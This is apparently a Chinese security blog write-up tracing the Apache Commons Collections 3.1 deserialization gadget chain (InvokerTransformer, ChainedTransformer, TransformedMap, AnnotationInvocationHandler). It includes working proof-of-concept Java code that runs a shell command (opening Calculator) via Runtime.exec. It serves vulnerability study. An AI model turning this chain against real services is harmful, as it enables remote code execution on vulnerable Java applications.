@Author: Patrilic @Time: 2020-3-19 23:24:22
Jdk version : 7u80
pom.xml:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
</project>
package com.patrilic.vul;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class EvalObject {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChain
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}
}
简单一看,最终在
org/apache/commons/collections/functors/InvokerTransformer.class:125
java.lang.Runtime.getRuntime().exec
InvokerTransformer.class
提供了一个Object方法,用Java反射的机制去创建类实例
可以通过直接调用InvokerTransformer的反射机制去调用 java.class.Runtime()
package com.patrilic.vul;
import org.apache.commons.collections.functors.InvokerTransformer;
public class test {
public static void main(String[] args) {
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"open -a Calculator.app"});
invokerTransformer.transform(Runtime.getRuntime());
}
}
Poc这里并没有直接调用 InvokerTransformer
,而是通过 ChainedTransformer
类
源码比较少,全部贴出来
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//
package org.apache.commons.collections.functors;
import java.io.Serializable;
import java.util.Collection;
import java.util.Iterator;
import org.apache.commons.collections.Transformer;
public class ChainedTransformer implements Transformer, Serializable {
static final long serialVersionUID = 3514945074733160196L;
private final Transformer[] iTransformers;
public static Transformer getInstance(Transformer[] transformers) {
FunctorUtils.validate(transformers);
if (transformers.length == 0) {
return NOPTransformer.INSTANCE;
} else {
transformers = FunctorUtils.copy(transformers);
return new ChainedTransformer(transformers);
}
}
public static Transformer getInstance(Collection transformers) {
if (transformers == null) {
throw new IllegalArgumentException("Transformer collection must not be null");
} else if (transformers.size() == 0) {
return NOPTransformer.INSTANCE;
} else {
Transformer[] cmds = new Transformer[transformers.size()];
int i = 0;
for(Iterator it = transformers.iterator(); it.hasNext(); cmds[i++] = (Transformer)it.next()) {
}
FunctorUtils.validate(cmds);
return new ChainedTransformer(cmds);
}
}
public static Transformer getInstance(Transformer transformer1, Transformer transformer2) {
if (transformer1 != null && transformer2 != null) {
Transformer[] transformers = new Transformer[]{transformer1, transformer2};
return new ChainedTransformer(transformers);
} else {
throw new IllegalArgumentException("Transformers must not be null");
}
}
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
public Transformer[] getTransformers() {
return this.iTransformers;
}
}
可以看到ChainedTransformer实现了Transformer接口
重构了transform,当我们传入类时,会一起去调用每一个 Transformer.thransform()
那么也就是说,最终处理的还是 InvokerTransformer
类,同样的,那么我们也可以利用 ChainedTransformer
去实现 java.lang.Runtime
的调用
ChainedTransformer 调用
会直接调用
org/apache/commons/collections/functors/InvokerTransformer.class
经过一共四次for循环
调用 Runtime.exec()
回到利用链里,这个poc使用了一个Map对象,然后调用了 TransformedMap.decorate
方法
经过静态方法decorate可以实例化 TransformedMap
经过构造函数赋值后
如果满足了valueTransformer,那么就可以直接调用 InvokerTransformer#transform
也就是说,只要我们传入任意 setValue/put/putAll
方法,都可以满足这个条件
当然,这样确实是可以成功调用transform方法,调用Runtime.exec()
但是接着跟Poc,却发现触发点并不在那,而是通过entrySet()方法
然后在运行到 onlyElement.setValue("foobar");
的时候,触发 CheckSetValue()
方法
所以只要我们去调用 SetVaule()
就可以直接调用transform方法
如果要完成反序列化,那么必须找一个readObject()中调用了 TransformedMap::MapEntry#setValue()
的类
sun/reflect/annotation/AnnotationInvocationHandler.class
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
那么,现在的问题就是,我们怎么样才能顺利的进入 var5.setValue()
这里来。
确保var7获取到 java.lang.annotation.RetentionPolicy
芜湖~起飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞
完整调用栈